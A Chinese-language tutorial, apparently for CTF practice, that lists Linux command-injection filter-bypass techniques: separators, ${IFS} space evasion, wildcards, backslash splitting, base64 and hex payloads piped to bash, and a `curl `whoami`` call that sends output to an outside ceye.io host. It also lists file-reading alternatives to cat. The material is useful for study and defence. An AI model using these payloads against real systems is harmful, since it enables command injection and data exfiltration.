主要介绍了linux的命令执行绕过、文件读取的一些方法

符号绕过

分号 ;

格式

command1; command2

用;号隔开每个命令,每个命令按照从左到右的顺序执行,彼此之间不关心是否失败,所有命令都会执行。

举例

echo 'hello 5wimming'>bbq.txt; cat bbq.txt

在这里插入图片描述

管道符 |

格式

command1 | command2 | command3

Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。

举例

cat /etc/passwd | grep bash | wc -l

在这里插入图片描述

符号 &

格式

command1 & command2

&放在启动参数后面表示设置此进程为后台进程,上面的命令会先执行command2,再执行command1

例子
在这里插入图片描述

符号 &&

格式

command1 && command2 [&& commandx]

&& 表示前一条命令执行成功时,才执行后一条命令

符号 ||

格式

command1 || command2 [|| commandx]

跟&&符号相反,前面那条命令为假才会执行后面的命令

只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。–直到返回真的地方停止执行。

绕过空格

例子如下

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
ca\t fl\ag

利用变量和UTF16编码

kg=$'\x20bbq.txt'&&cat$kg

通配符绕过

?在linux里面可以进行代替字母
*在linux里面可以进行模糊匹配

例子如下:

newbee:temp $ cat bb??txt 
hello 5wimming
newbee:temp $ cat bb*txt 
hello 5wimming

内联执行

例子

newbee:test $ curl `whoami`.p7yc0x.ceye.io
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}
cat$IFS$1`ls`

使用内联执行会将 ``内的输出作为前面命令的输入

其他

l's' -la
l$1s -la
l\s -\la

在这里插入图片描述

文件读取

cat:由第一行开始显示内容,并将所有内容输出

tac:从最后一行倒序显示内容,并将所有内容输出

more:根据窗口大小,一页一页的现实文件内容

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head:只显示头几行

tail:只显示最后几行

nl:类似于cat -n,显示时输出行号

tailf:类似于tail -f

sort:先排序再读文件
在这里插入图片描述
paste:会把每个文件以列对列的方式,一列列地加以合并
在这里插入图片描述
diff:用于比较文件的差异
在这里插入图片描述
od:读取所给予的文件的内容,并将其内容以八进制字码呈现出来
在这里插入图片描述
bzmore:将bzip压缩过的文件解压到标准输出,同时也可以将普通文件显示到标准输出
在这里插入图片描述
bzless:用于 crt 查看 bzip2 压缩文本的文件阅读过滤器,与bzmore类似,但是功能更强大
curl:这个就众所周知了

curl file:///Users/temp/test/temp.txt

在这里插入图片描述

编码绕过

base64

newbee:test $ echo Y2F0IHRlbXAudHh0Cg== | base64 -d
cat temp.txt
newbee:test $ echo Y2F0IHRlbXAudHh0Cg==|base64 -d|bash
hello 5wimming
hello bbq
hello 5wimming
newbee:test $ echo Y2F0IHRlbXAudHh0Cg==|base64 -d|sh
hello 5wimming
hello bbq
hello 5wimming

hex编码绕过

newbee:test root$ echo 6361742074656d702e7478740a | xxd -r -p|bash
hello 5wimming
hello bbq
hello 5wimming
newbee:test root$ echo 6361742074656d702e7478740a | xxd -r -p
cat temp.txt

unicode编码

newbee:test root$ $(printf "\154\163")  # ls
decode16.txt	encode16.txt	temp.txt	test.ps1

newbee:test root$ $(printf "cat\x20temp.txt\x0A")

参考:
https://www.freebuf.com/articles/network/258676.html

Logo

更多推荐